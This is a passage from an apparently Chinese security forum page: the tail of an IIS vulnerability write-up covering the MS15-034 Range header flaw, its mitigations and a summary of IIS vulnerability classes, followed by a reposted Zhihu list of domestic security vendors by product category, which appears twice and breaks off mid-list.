2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境，成功检测到漏洞：
Ø 漏洞缓解：
1. 禁用 IIS 内核缓存，详情见微软官方公告：
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本，此版本不存在此漏洞。
三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞，本地漏洞主要分布在信息泄露和权限提升漏洞分类，大部分漏洞利用难度较大，但是一旦成功被攻击者利用，影响的不仅仅只是IIS服务器，甚至可能是运行IIS的Windows主机。如果用户主机被利用，那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等，后果不堪设想。
如果IIS服务器的网站配置不当，攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问，获取用户隐私信息。此外，不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件，进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞，对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境，IIS漏洞都是一个极大的隐患，也让IIS网站管理员和不少运维人员心惊胆战。
国内的主要安全产品及厂商
sq_smile 发表了文章 • 0 个评论 • 78 次浏览 • 2018-12-28 11:42
链接：https://www.zhihu.com/question/20334043/answer/183326406
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
国内哪些公司在做企业版安全产品开发？
问题太大了，做企业版安全产品的N多，有硬件设备、有软件、也有做SAAS在线服务的。
国外的一些安全软件是否在中国只做代理销售，基本不会在国内开发？
国外的安全软件除非个别的，基本在国内都有代理销售。
有没有国外的安全软件开发公司在中国有分公司或办事处？规模比较大的国外安全公司很多在国内有办事处。
这个是一个兄弟整理的安全产品厂商分类，找不到出处了。
1. 防火墙类（UTM&FW&NGFW）厂商
2. WAF（web 应用防火墙）厂商
3. 数据库审计类厂家
4. 运维审计厂商
5. 网站安全厂商
6. 邮件类安全厂商
7. 身份鉴别厂家
8. 防毒墙&杀毒软件厂商
9. 安全咨询类厂家
10. 网闸安全厂家
11. 等级保护评估系统
12. 数据防泄漏（DLP）
13. 漏洞扫描（主机&web）
14. SOC（安全运维平台）&SIEM（安全事件管理）
15. 内网安全管理（含准入）
16. 上网行为管理
17. 远程接入安全（VPN）
18. 入侵检测和防御（IDS&IPS）
19. 抗拒绝服务攻击（DDoS）
20. 网页防篡改
其他公司细分（跟游侠打过招呼了，感谢辛苦整理）:<img src="https://pic4.zhimg.com/50/v2-1e029de4aae7f248926b2459cbe6977f_hd.jpg" data-rawwidth="480" data-rawheight="360" class="origin_image zh-lightbox-thumb" width="480" data-original="https://pic4.zhimg.com/v2-1e029de4aae7f248926b2459cbe6977f_r.jpg">
物理安全
存储介质信息消除/粉碎机：北信源、和升达、科密、30所、利谱、交大捷普、兰天致信、中超伟业、博智软件、方德信安、深圳汇远佳禾网络安全防火墙/UTM/安全网关/下一代防火墙：天融信、山石网科、启明星辰、网御星云、绿盟科技、安恒信息、蓝盾、华为、软云神州、杭州迪普、华清信安、东软、上讯信息、利谱、深信服、360、卫士通、H3C、交大捷普、信安世纪、任子行、上海纽盾、金电网安、亚信安全、北京擎企、金山、君众甲匠、优炫、海峡信息、安信华、博智软件、中科曙光、中科网威、江民科技、六壬网安、安码科技、点点星光入侵检测/防御：启明星辰、绿盟科技、网御星云、360、天融信、铱迅信息、蓝盾、杭州迪普、山石网科、安恒信息、交大捷普、任子行、经纬信安、漏洞盒子/网藤风险感知、华清信安、上海纽盾、东软、恒安嘉新、安天、金山、君众甲匠、海峡信息、博智软件、H3C、中科网威、江民科技、六壬网安、青藤云安全无线入侵检测/防御：360、北京锐云通信、山东闻道通信VPN：深信服、天融信、蓝盾、360、华为、绿盟科技、卫士通、信安世纪、奥联科技、启明星辰、南京易安联、华清信安、上海纽盾、东软、海峡信息、博智软件、H3C、江南信安、弘积科技、山东确信上网行为管理：360、深信服、蓝盾、华为、莱克斯、网际思安、软云神州、杭州迪普、北信源、网鼎芯睿、陕通、上海新网程、奥联科技、交大捷普、任子行、上海纽盾、东软、Panabit、北京擎企、金山、盛世光明、博智软件、H3C、万网博通、极安、江民科技、迈科网络、六壬网安、弘积科技网络安全审计：天融信、莱克斯、启明星辰、交大捷普、绿盟科技、蓝盾、广州国迈、软云神州、任子行、雨人、上海观安、上海纽盾、360、恒安嘉新、盛世光明、海峡信息、博智软件、杭州迪普、中科新业、重庆智多网络流量控制：360、深信服、流控大师、Panabit、蓝盾、软云神州、网鼎芯睿、互普&溢信（IP-Guard）、东华软件、上海纽盾、灵州网络、恒安嘉新、北京擎企、金山、盛世光明、杭州迪普、万网博通、极安、迈科网络网络流量分析：科来公司、东华软件、绿盟科技、网鼎芯睿、上海观安、上海纽盾、恒安嘉新、Panabit、亚信安全、安天、江民科技、华青融天、迈科网络防病毒网关/防毒墙：网御星云、蓝盾、冠群金辰、杭州迪普、瑞星、360、安恒信息、山石网科、亚信安全、安天、金山、天融信、海峡信息、安信华、博智软件、江民科技APT未知威胁发现：安恒信息、科来公司、360、天融信、启明星辰、东巽科技、安天、绿盟科技、华为、神州网云、成都力合智远、经纬信安、兰云科技、中铁信睿安、卫达安全、恒安嘉新、宝利九章、亚信安全、安赛创想、金山、海峡信息、博智软件、知道创宇、江民科技、六壬网安抗DDoS产品：绿盟科技、华为、中新网安、铱迅信息、启明星辰、傲盾、蓝盾、杭州迪普、华清信安、安恒信息、兰云科技、上海纽盾、卫达安全、任子行、青松云安全、天融信、360、北大千方、知道创宇、神荼科技抗DDoS服务：阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤、UCloud、智卓云盾、知道创宇、蓝盾网闸：360、北京安盟、利谱、启明星辰、杭州合众、北京盖特佳、天融信、交大捷普、天行网安、伟思、金电网安、赛博兴安、东软、海峡信息、安信华、重庆爱思安全隔离与信息单向导入设备/单向传输机器：深圳中锐源、中铁信安、中孚信息、杭州合众、国保金泰、天融信、赛博兴安、普世科技、锐安、金电网安、北京安盟、中科网威、山石网科、哈尔滨朗威、利谱、北京远为软件网络缓存加速·产品：缓存大师WebCache、锐捷、优络普、Panabit、安信华网络缓存加速·服务：知道创宇、阿里云、百度云、腾讯云、帝恩思、DNSPod网络准入控制：北信源、无锡宝界、蓝盾、互普&溢信（IP-Guard）、启明星辰、金盾软件、广州国迈、盈高科技、画方科技、联软、中软、上讯信息、交大捷普、信安世纪、中孚信息、上海纽盾、艾科网信、海峡信息、博智软件、江民科技、亚东软件负载均衡：深信服、北京中科四方、东华软件、信安世纪、灵州网络、北京华夏创新、北京楷然昊天、上海云速、湖南麒麟、杭州迪普、启明星辰、南京易安联、上海纽盾、Panabit、北京擎企、H3C、弘积科技、北京远为软件、福建伊时代应用交付：智恒科技、深信服、信安世纪、瑞友天翼、360、天融信、东软、任子行、优炫、中科曙光、弘积科技加密机/密码机：江南科友、网御星云、天融信、三未信安、山东得安、卫士通、山东渔翁、无锡江南、江南天安、江南博仁、兴唐通信、中安网脉、君众甲匠、立思辰、江南信安、山东确信、信安世纪DNS安全：电信云堤、厦门帝恩思、知道创宇不良信息识别与监测：金惠科技主机安全桌面管理/主机审计：北信源、汉邦、联软、蓝盾、互普&溢信（IP-Guard）、启明星辰、网御星云、360、天融信、金盾软件、广州国迈、软云神州、哈尔滨朗威、上海创多、深圳金天眼、杭州正杰、浙江远望电子、北京盖特佳、峰盛科技、中软、卫士通、沈阳通软、圣博润、上讯信息、交大捷普、中孚信息、上海浩迈、金山、海峡信息、博智软件、江民科技、江南信安、山丽信息、亚东软件、706所、中电瑞铠单机防病毒：瑞星、江民科技、金山、360、百度、腾讯、东方微点、费尔、火绒、亚信安全、安天、博智软件网络防病毒：瑞星、360、金山、江民科技、东方微点、北信源、亚信安全、安天、博智软件主机文档加密与权限控制/HDLP：亿赛通、天锐绿盾、时代亿信、明朝万达、蓝盾、互普&溢信（IP-Guard）、北信源、金盾软件、启明星辰、北京盖特佳、峰盛科技、中软、卫士通、上海祥殷、上海前沿、杭州华途、江苏敏捷、思智泰克、交大捷普、中孚信息、福州深空、天融信、思睿嘉得、合力思腾、深圳虹安、上讯信息、成都力合智远、莱克斯、365数据安全/四川西图、山东申启、金山、天空卫士、锐思特、赛猊腾龙、海峡信息、深信达、博智软件、江民科技、天喻软件、上海谐桐、亚东软件、武汉百易时代源代码加密及嵌入式开发源码加密：深信达、明朝万达、亿赛通、IP-Guard、山丽信息、天锐绿盾、互普&溢信（IP-Guard）、中软、虹安主机安全加固：浪潮、椒图、安全狗、广州国迈、中软华泰、上海观安、可信华泰、中嘉华诚、中航嘉信、易路平安、亚信安全、安天、优炫、安普诺、中超伟业、中科曙光、神荼科技、青藤云安全、安恒信息终端登录/身份认证：上海格尔、吉大正元、卫士通、信安世纪、上讯信息、南京易安联、北信源、九州云腾、中孚信息、博智软件、哈尔滨朗威移动存储介质管理：北信源、北京天桥、启明星辰、金盾软件、广州国迈、哈尔滨朗威、上海创多、亿赛通、交大捷普、上海浩迈、上海格尔、安天、金山、天喻软件、山丽信息、亚东软件补丁管理：北信源、360、启明星辰、金盾软件、上海创多、交大捷普、亚信安全、金山打印安全/打印管理/打印审计：北京恒安讯佳、北信源、中孚信息、安普锐、天锐绿盾、金山、保旺达、哈尔滨朗威、天喻软件、瑞达信息、山丽信息、武汉百易时代、鼎盾科技、思为同飞应用安全网页防篡改：安恒信息、智恒科技、赛蓝、山东中创、绿盟科技、启明星辰、上海天存、上海天泰、福州深空、北京通元、国舜股份、蓝盾、安全狗、WebRay远江、杭州迪普、上讯信息、交大捷普、青松云安全、海峡信息、江民科技、立思辰、六壬网安Web应用防火墙·WAF·硬件：安恒信息、启明星辰、绿盟科技、天融信、铱迅信息、知道创宇、上海天泰、杭州迪普、山东中创、WebRay远江、蓝盾、北京千来信安、中新网安、软云神州、中软华泰、上讯信息、上海天存、利谱、交大捷普、任子行、中铁信睿安、上海纽盾、360、卫达安全、金电网安、安赛创想、东软、海峡信息、安信华、博智软件、山石网科、江民科技、立思辰、六壬网安、安码科技、神荼科技Web应用防火墙·WAF·软件：福州深空、安恒信息、铱迅信息、安全狗、云锁、青松云安全、上海天存、安码科技Web应用防火墙·服务&云WAF：安恒信息、阿里云、腾讯云、360、知道创宇、上海有云、湖盟、百度安全/安全宝、蓝盾、北京千来信安、中软华泰、上讯信息、快云、斗象科技/网藤风险感知、网宿科技、上海云盾、青松云安全、电信云堤、UCloud、数梦工场WEB漏洞扫描：安恒信息、四叶草安全、国舜股份、绿盟科技、知道创宇、WebRay远江、安赛创想、安犬漏洞扫描云平台、启明星辰、经纬信安、上海观安、斗象科技/漏洞盒子/网藤风险感知、恒安嘉新、安识科技、H3C、六壬网安、安码科技网站安全监测产品：安恒信息、绿盟科技、知道创宇、360、WebRay远江、任子行、四叶草安全、安全狗、恒安嘉新、安信华、H3C、江民科技、安普诺、立思辰、浙江乾冠网站安全监测服务：安恒信息、绿盟科技、知道创宇、360、百度安全/安全宝、WebRay远江、北京千来信安、任子行、安全狗、恒安嘉新、四叶草安全、浙江乾冠邮件安全产品：守内安、网际思安、蓝盾、敏讯、冠群金辰、盈世CoreMail、时代亿信、上海格尔、安宁、凌久、国瑞信安、蓝海星、北京方向标、上海青羽/靠谱邮件、亚信安全、安宁、安普诺、武汉百易时代数据库漏洞扫描：安恒信息、安信通、安华金和、建恒信安、中安星云、杭州闪捷数据库防火墙：安恒信息、安华金和、中安比特/中安威士、帕拉迪/汉领信息、杭州美创、中安星云、杭州闪捷数据库加密和脱敏：中安比特/中安威士、安华金和、迈科龙、中安星云、杭州美创、上海观安、优炫、广州鼎甲、杭州闪捷数据库审计：安恒信息、安华金和、思福迪、启明星辰、网御星云、天融信、极地银河、山东中创、蓝盾、北信源、莱克斯、软云神州、绿盟科技、上讯信息、中安比特/中安威士、交大捷普、金盾软件、昂楷科技、帕拉迪/汉领信息、上海纽盾、东软、杭州美创、优炫、海峡信息、安信华、博智软件、中安星云、东华软件、六壬网安、思为同飞、706所、杭州闪捷半自动&自动化渗透平台：安恒信息、安络科技、四叶草安全应用统一身份管理/身份认证/单点登录/认证网关/PKI/CA/数字证书/令牌/各种KEY：天诚安信、派拉软件、神州融信、上海格尔、天威诚信、信安世纪、东软、吉大正元、安识科技、北京安讯奔、九州云腾、中科曙光、洋葱安全、极验验证、立思辰、江南信安、山东确信 | 各省都有CA，这个就单列了、中科恒伦、上海林果、福建伊时代代码防火墙：上海观安加密安全设备/NDLP：福建伊时代、时代亿信、365数据安全、天空卫士、思为同飞反钓鱼/反欺诈：电信云堤、国舜股份、知道创宇、百度、阿里、腾讯、360、安天、亚信安全、安恒信息、江民科技、华青融天语音安全：北京无限互联数据安全数据备份：上海爱数、杭州美创、火星高科&亚细亚智业、苏州美天网络、信核数据、上讯信息、英方股份、上海联鼎、亿备&广州鼎鼎、和力记易、广州鼎甲、安码科技、南京壹进制、浪擎科技、福建伊时代虚拟机备份与恢复：成都云祺、英方股份、和力记易、广州鼎甲、北京远为软件数据清除工具：中孚信息、北京天桥、上海浩迈、万里红、中超伟业、博智软件、方德信安、哈尔滨朗威移动安全/虚拟化安全/云安全虚拟化安全防护：安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件手机防病毒：腾讯、瑞星、金山、360、网秦、百度、中软、安天、恒安嘉新、亚信安全、蓝盾移动终端管理/EMM/MDM：国信灵通/启迪国信、北信源、360、明朝万达、中软、安天、上讯信息、北京珊瑚灵御、亚信安全、金山、蓝盾、江民科技、江南信安CASB/云业务安全接入代理：炼石网络、云安宝、信云科技、绿盟科技、启明星辰手机APP安全：梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技基于云的安全服务：青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮 | 此条目待调整、待完善！大数据安全：安恒信息、启明星辰、绿盟科技、360、派拉软件、观数科技、瀚思、天行网安、上海观安、聚铭网络、中孚信息、恒安嘉新、志翔科技、知道创宇、科来公司、安码科技、杭州美创 | 这是一个比较纠结的分类，因为牵扯到的内容太多……现在主流的安全厂家几乎都能做一部分，但是……这个分类可能近期会做细化安全管理SIEM/日志管理/日志审计/SOC/安管平台：安恒信息、思福迪、360、天融信、启明星辰、东软、蓝盾、蚁巡、江南天安、北信源、上讯信息、赛克蓝德、神州泰岳、交大捷普、派拉软件、瀚思、中铁信睿安、聚铭网络、华清信安、上海纽盾、亚信安全、优炫、安信华、H3C、华青融天、安码科技、北京中安智达、706所、福建伊时代运维审计/4A/堡垒机：安恒信息、思福迪、帕拉迪/汉领信息、浙江齐治、尚思科技、江南科友、绿盟科技、天融信、启明星辰、建恒信安、蓝盾、华为、泰然神州、上海艺赛旗、北京极地、信安世纪、圣博润、江南天安、国迈、上讯信息、神州泰岳、亿阳信通、麒麟、云安宝、交大捷普、德讯科技、任子行、派拉软件、上海观安、金盾软件、智恒科技、东软、金电网安、亚信安全、北京安讯奔、盛世光明、优炫、海峡信息、保旺达、安信华、中科曙光、六壬网安网管软件/ITIL：广通信达、网强、汉远网智、北塔、蚁巡、华为、锐捷、摩卡[华胜天成]、国聿、上讯信息、交大捷普、飞思安诺/飞思网巡、恒安嘉新、优炫、艾科网信、海峡信息、迈科网络、东华软件漏洞扫描与管理：安恒信息、榕基、启明星辰、绿盟科技、铱迅信息、极地银河、蓝盾、WebRay远江、江南天安、杭州迪普、天融信、交大捷普、安犬漏洞扫描云平台、经纬信安、上海观安、中铁信睿安、斗象科技/漏洞盒子/网藤风险感知、宿州东辉、四叶草安全、恒安嘉新、安天、蓝盾、君众甲匠、博智软件、中科网威、立思辰、六壬网安、安普诺网络和主机配置核查系统：安恒信息、思福迪、绿盟科技、启明星辰、聚铭网络、北京随方信息、博智软件主机安全保密检查工具：中孚信息、北信源、北京天桥、哈尔滨朗威、万里红、华安保、上海浩迈、博智软件、方德信安信息安全等级保护测评工具箱：安恒信息、国瑞信安、圣博润、公安一所、锐安 | 注：市面上多家厂家均生产此产品，但公安部仅指定了5家作为“合格的”生产单位！网络安全态势感知：安恒信息、知道创宇、360、绿盟科技、WebRay远江盛邦、四叶草安全、任子行、上海观安、兰云科技、聚铭网络、恒安嘉新、白帽汇、杭州合众、亚信安全、安天、郑州赛欧思、江民科技、科来公司、安码科技应急处置工具箱：安恒信息工控安全产品与厂商大全威努特、匡恩网络、谷神星、海天炜业、珠海鸿瑞、力控华康、启明星辰、绿盟科技、中科网威、三零卫士、安恒信息、北京网藤科技、天地和兴、安恒信息……工控防火墙：中科网威、威努特、匡恩网络、谷神星、海天炜业、力控华康、天地和兴、安点科技、网藤科技、卫达安全、博智软件、九略智能工控安全审计：威努特、天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、安点科技、博智软件、安恒信息、知道创宇、中科网威工控漏洞扫描/挖掘：天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、博智软件、知道创宇工控安管平台：天地和兴、匡恩网络、中科网威工控主机安全防护：天地和兴、网藤科技、安点科技、九略智能工控入侵检测/威胁感知/入侵防御：安点科技、天地和兴、网藤科技、博智软件、科来公司、中科网威工控网闸：安点科技、中科网威工控防泄密：匡恩网络工控检查工具箱：安恒信息、工控蜜罐：匡恩网络、工控攻防实验室：匡恩网络、网藤科技、博智软件工控态势感知：安恒信息、博智软件、360、知道创宇、浙江乾冠、九略智能中国自主可控网络安全产品与厂商数据来源于申威产业联盟、龙芯产业联盟、中关村可信计算产业联盟自主可信专委会；就自主可控行业的特殊性而言，很多大厂商是作为特供产品进行市场宣传，而小厂商只作为品牌规划，并没有特殊宣传，在数据收集时可能会导致内容不全面；对于名单中未涉及的厂商，可以单独联系， 告知欲添加的分类、公司名称（需在上述3个联盟中）；感谢中关村可信联盟自主可信专委会相关工作人员整理！防火墙：中科神威、天融信、网御星云、东软、中科曙光、蓝盾、中航鸿电、中船综合院、706所入侵检测/防御：中科神威、网神、中科曙光、安恒信息 、绿盟科技、汉柏漏洞扫描系统：中科神威、安恒信息 、绿盟科技安全管理平台：启明星辰、中科神威、360网闸/安全隔离与信息单向导入设备：国保金泰、中科神威、北京安盟、赛博兴安加密机：江南天安终端安全：北信源、江民科技Web应用防火墙：上海天泰堡垒机：建恒信安、江南寰宇负载均衡：般固科技防毒墙：江民科技备份一体机：壹进制网络流量分析：北京卓迅网络准入控制：画方科技存储：创新科、同有飞骥未分类子类舆情监控：中国舆情网、优捷信达、乐思、红麦、中科点击、泰一舆情、探宝、拓尔思、本果、软云神州、西盈、任子行、网藤风险感知、南京快页数码、博智软件、北京中安智达威胁情报：微步在线、上海观安、斗象科技/http://FreeBuf.com/漏洞盒子、恒安嘉新、白帽汇、天际友盟、知道创宇、360、安恒信息国产操作系统：Deepin深度、RedFlag红旗、Kylin麒麟、NeoKylin中标麒麟、StartOS起点/雨林木风OS、凝思磐石安全操作系统、共创Linux、思普Linux国产数据库：达梦数据库、东软OpenBASE、国信贝斯iBase、人大金仓KingBase、南大通用GBase业务风控安全：锦佰安、指掌易、邦盛、岂安、行邑、同盾、通付盾蜜罐：安恒信息、三零卫士、凌晨网络、绿盟科技、默安科技安全硬件平台/工控机：新汉、阿普奇、盛博、集智达、英德斯、福升威尔、华北科技、艾宝、华北工控、研祥、祈飞、研华，立华，惠尔，智威智能数据恢复：苏州美天网络、金山安全、易数科技、华客、飞客、众成、博智软件数据库准入：杭州美创数据库堡垒机：杭州美创红黑电源滤波插座：保旺达、启航智通电磁屏蔽柜：启航智通、信安邦数字取证：美亚柏科、盘石软件安全计算机：瑞达信息 查看全部
来源：知乎
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
国内哪些公司在做企业版安全产品开发？
问题太大了，做企业版安全产品的N多，有硬件设备、有软件、也有做SAAS在线服务的。
国外的一些安全软件是否在中国只做代理销售，基本不会在国内开发？
国外的安全软件除非个别的，基本在国内都有代理销售。
有没有国外的安全软件开发公司在中国有分公司或办事处？规模比较大的国外安全公司很多在国内有办事处。
这个是一个兄弟整理的安全产品厂商分类，找不到出处了。
1. 防火墙类（UTM&FW&NGFW）厂商
2. WAF（web 应用防火墙）厂商
3. 数据库审计类厂家
4. 运维审计厂商
5. 网站安全厂商
6. 邮件类安全厂商
7. 身份鉴别厂家
8. 防毒墙&杀毒软件厂商
9. 安全咨询类厂家
10. 网闸安全厂家
11. 等级保护评估系统
12. 数据防泄漏（DLP）
13. 漏洞扫描（主机&web）
14. SOC（安全运维平台）&SIEM（安全事件管理）
15. 内网安全管理（含准入）
16. 上网行为管理
17. 远程接入安全（VPN）
18. 入侵检测和防御（IDS&IPS）
19. 抗拒绝服务攻击（DDoS）
20. 网页防篡改
其他公司细分（跟游侠打过招呼了，感谢辛苦整理）:<img src="https://pic4.zhimg.com/50/v2-1e029de4aae7f248926b2459cbe6977f_hd.jpg" data-rawwidth="480" data-rawheight="360" class="origin_image zh-lightbox-thumb" width="480" data-original="https://pic4.zhimg.com/v2-1e029de4aae7f248926b2459cbe6977f_r.jpg">
物理安全
存储介质信息消除/粉碎机：北信源、和升达、科密、30所、利谱、交大捷普、兰天致信、中超伟业、博智软件、方德信安、深圳汇远佳禾网络安全防火墙/UTM/安全网关/下一代防火墙：天融信、山石网科、启明星辰、网御星云、绿盟科技、安恒信息、蓝盾、华为、软云神州、杭州迪普、华清信安、东软、上讯信息、利谱、深信服、360、卫士通、H3C、交大捷普、信安世纪、任子行、上海纽盾、金电网安、亚信安全、北京擎企、金山、君众甲匠、优炫、海峡信息、安信华、博智软件、中科曙光、中科网威、江民科技、六壬网安、安码科技、点点星光入侵检测/防御：启明星辰、绿盟科技、网御星云、360、天融信、铱迅信息、蓝盾、杭州迪普、山石网科、安恒信息、交大捷普、任子行、经纬信安、漏洞盒子/网藤风险感知、华清信安、上海纽盾、东软、恒安嘉新、安天、金山、君众甲匠、海峡信息、博智软件、H3C、中科网威、江民科技、六壬网安、青藤云安全无线入侵检测/防御：360、北京锐云通信、山东闻道通信VPN：深信服、天融信、蓝盾、360、华为、绿盟科技、卫士通、信安世纪、奥联科技、启明星辰、南京易安联、华清信安、上海纽盾、东软、海峡信息、博智软件、H3C、江南信安、弘积科技、山东确信上网行为管理：360、深信服、蓝盾、华为、莱克斯、网际思安、软云神州、杭州迪普、北信源、网鼎芯睿、陕通、上海新网程、奥联科技、交大捷普、任子行、上海纽盾、东软、Panabit、北京擎企、金山、盛世光明、博智软件、H3C、万网博通、极安、江民科技、迈科网络、六壬网安、弘积科技网络安全审计：天融信、莱克斯、启明星辰、交大捷普、绿盟科技、蓝盾、广州国迈、软云神州、任子行、雨人、上海观安、上海纽盾、360、恒安嘉新、盛世光明、海峡信息、博智软件、杭州迪普、中科新业、重庆智多网络流量控制：360、深信服、流控大师、Panabit、蓝盾、软云神州、网鼎芯睿、互普&溢信（IP-Guard）、东华软件、上海纽盾、灵州网络、恒安嘉新、北京擎企、金山、盛世光明、杭州迪普、万网博通、极安、迈科网络网络流量分析：科来公司、东华软件、绿盟科技、网鼎芯睿、上海观安、上海纽盾、恒安嘉新、Panabit、亚信安全、安天、江民科技、华青融天、迈科网络防病毒网关/防毒墙：网御星云、蓝盾、冠群金辰、杭州迪普、瑞星、360、安恒信息、山石网科、亚信安全、安天、金山、天融信、海峡信息、安信华、博智软件、江民科技APT未知威胁发现：安恒信息、科来公司、360、天融信、启明星辰、东巽科技、安天、绿盟科技、华为、神州网云、成都力合智远、经纬信安、兰云科技、中铁信睿安、卫达安全、恒安嘉新、宝利九章、亚信安全、安赛创想、金山、海峡信息、博智软件、知道创宇、江民科技、六壬网安抗DDoS产品：绿盟科技、华为、中新网安、铱迅信息、启明星辰、傲盾、蓝盾、杭州迪普、华清信安、安恒信息、兰云科技、上海纽盾、卫达安全、任子行、青松云安全、天融信、360、北大千方、知道创宇、神荼科技抗DDoS服务：阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤、UCloud、智卓云盾、知道创宇、蓝盾网闸：360、北京安盟、利谱、启明星辰、杭州合众、北京盖特佳、天融信、交大捷普、天行网安、伟思、金电网安、赛博兴安、东软、海峡信息、安信华、重庆爱思安全隔离与信息单向导入设备/单向传输机器：深圳中锐源、中铁信安、中孚信息、杭州合众、国保金泰、天融信、赛博兴安、普世科技、锐安、金电网安、北京安盟、中科网威、山石网科、哈尔滨朗威、利谱、北京远为软件网络缓存加速·产品：缓存大师WebCache、锐捷、优络普、Panabit、安信华网络缓存加速·服务：知道创宇、阿里云、百度云、腾讯云、帝恩思、DNSPod网络准入控制：北信源、无锡宝界、蓝盾、互普&溢信（IP-Guard）、启明星辰、金盾软件、广州国迈、盈高科技、画方科技、联软、中软、上讯信息、交大捷普、信安世纪、中孚信息、上海纽盾、艾科网信、海峡信息、博智软件、江民科技、亚东软件负载均衡：深信服、北京中科四方、东华软件、信安世纪、灵州网络、北京华夏创新、北京楷然昊天、上海云速、湖南麒麟、杭州迪普、启明星辰、南京易安联、上海纽盾、Panabit、北京擎企、H3C、弘积科技、北京远为软件、福建伊时代应用交付：智恒科技、深信服、信安世纪、瑞友天翼、360、天融信、东软、任子行、优炫、中科曙光、弘积科技加密机/密码机：江南科友、网御星云、天融信、三未信安、山东得安、卫士通、山东渔翁、无锡江南、江南天安、江南博仁、兴唐通信、中安网脉、君众甲匠、立思辰、江南信安、山东确信、信安世纪DNS安全：电信云堤、厦门帝恩思、知道创宇不良信息识别与监测：金惠科技主机安全桌面管理/主机审计：北信源、汉邦、联软、蓝盾、互普&溢信（IP-Guard）、启明星辰、网御星云、360、天融信、金盾软件、广州国迈、软云神州、哈尔滨朗威、上海创多、深圳金天眼、杭州正杰、浙江远望电子、北京盖特佳、峰盛科技、中软、卫士通、沈阳通软、圣博润、上讯信息、交大捷普、中孚信息、上海浩迈、金山、海峡信息、博智软件、江民科技、江南信安、山丽信息、亚东软件、706所、中电瑞铠单机防病毒：瑞星、江民科技、金山、360、百度、腾讯、东方微点、费尔、火绒、亚信安全、安天、博智软件网络防病毒：瑞星、360、金山、江民科技、东方微点、北信源、亚信安全、安天、博智软件主机文档加密与权限控制/HDLP：亿赛通、天锐绿盾、时代亿信、明朝万达、蓝盾、互普&溢信（IP-Guard）、北信源、金盾软件、启明星辰、北京盖特佳、峰盛科技、中软、卫士通、上海祥殷、上海前沿、杭州华途、江苏敏捷、思智泰克、交大捷普、中孚信息、福州深空、天融信、思睿嘉得、合力思腾、深圳虹安、上讯信息、成都力合智远、莱克斯、365数据安全/四川西图、山东申启、金山、天空卫士、锐思特、赛猊腾龙、海峡信息、深信达、博智软件、江民科技、天喻软件、上海谐桐、亚东软件、武汉百易时代源代码加密及嵌入式开发源码加密：深信达、明朝万达、亿赛通、IP-Guard、山丽信息、天锐绿盾、互普&溢信（IP-Guard）、中软、虹安主机安全加固：浪潮、椒图、安全狗、广州国迈、中软华泰、上海观安、可信华泰、中嘉华诚、中航嘉信、易路平安、亚信安全、安天、优炫、安普诺、中超伟业、中科曙光、神荼科技、青藤云安全、安恒信息终端登录/身份认证：上海格尔、吉大正元、卫士通、信安世纪、上讯信息、南京易安联、北信源、九州云腾、中孚信息、博智软件、哈尔滨朗威移动存储介质管理：北信源、北京天桥、启明星辰、金盾软件、广州国迈、哈尔滨朗威、上海创多、亿赛通、交大捷普、上海浩迈、上海格尔、安天、金山、天喻软件、山丽信息、亚东软件补丁管理：北信源、360、启明星辰、金盾软件、上海创多、交大捷普、亚信安全、金山打印安全/打印管理/打印审计：北京恒安讯佳、北信源、中孚信息、安普锐、天锐绿盾、金山、保旺达、哈尔滨朗威、天喻软件、瑞达信息、山丽信息、武汉百易时代、鼎盾科技、思为同飞应用安全网页防篡改：安恒信息、智恒科技、赛蓝、山东中创、绿盟科技、启明星辰、上海天存、上海天泰、福州深空、北京通元、国舜股份、蓝盾、安全狗、WebRay远江、杭州迪普、上讯信息、交大捷普、青松云安全、海峡信息、江民科技、立思辰、六壬网安Web应用防火墙·WAF·硬件：安恒信息、启明星辰、绿盟科技、天融信、铱迅信息、知道创宇、上海天泰、杭州迪普、山东中创、WebRay远江、蓝盾、北京千来信安、中新网安、软云神州、中软华泰、上讯信息、上海天存、利谱、交大捷普、任子行、中铁信睿安、上海纽盾、360、卫达安全、金电网安、安赛创想、东软、海峡信息、安信华、博智软件、山石网科、江民科技、立思辰、六壬网安、安码科技、神荼科技Web应用防火墙·WAF·软件：福州深空、安恒信息、铱迅信息、安全狗、云锁、青松云安全、上海天存、安码科技Web应用防火墙·服务&云WAF：安恒信息、阿里云、腾讯云、360、知道创宇、上海有云、湖盟、百度安全/安全宝、蓝盾、北京千来信安、中软华泰、上讯信息、快云、斗象科技/网藤风险感知、网宿科技、上海云盾、青松云安全、电信云堤、UCloud、数梦工场WEB漏洞扫描：安恒信息、四叶草安全、国舜股份、绿盟科技、知道创宇、WebRay远江、安赛创想、安犬漏洞扫描云平台、启明星辰、经纬信安、上海观安、斗象科技/漏洞盒子/网藤风险感知、恒安嘉新、安识科技、H3C、六壬网安、安码科技网站安全监测产品：安恒信息、绿盟科技、知道创宇、360、WebRay远江、任子行、四叶草安全、安全狗、恒安嘉新、安信华、H3C、江民科技、安普诺、立思辰、浙江乾冠网站安全监测服务：安恒信息、绿盟科技、知道创宇、360、百度安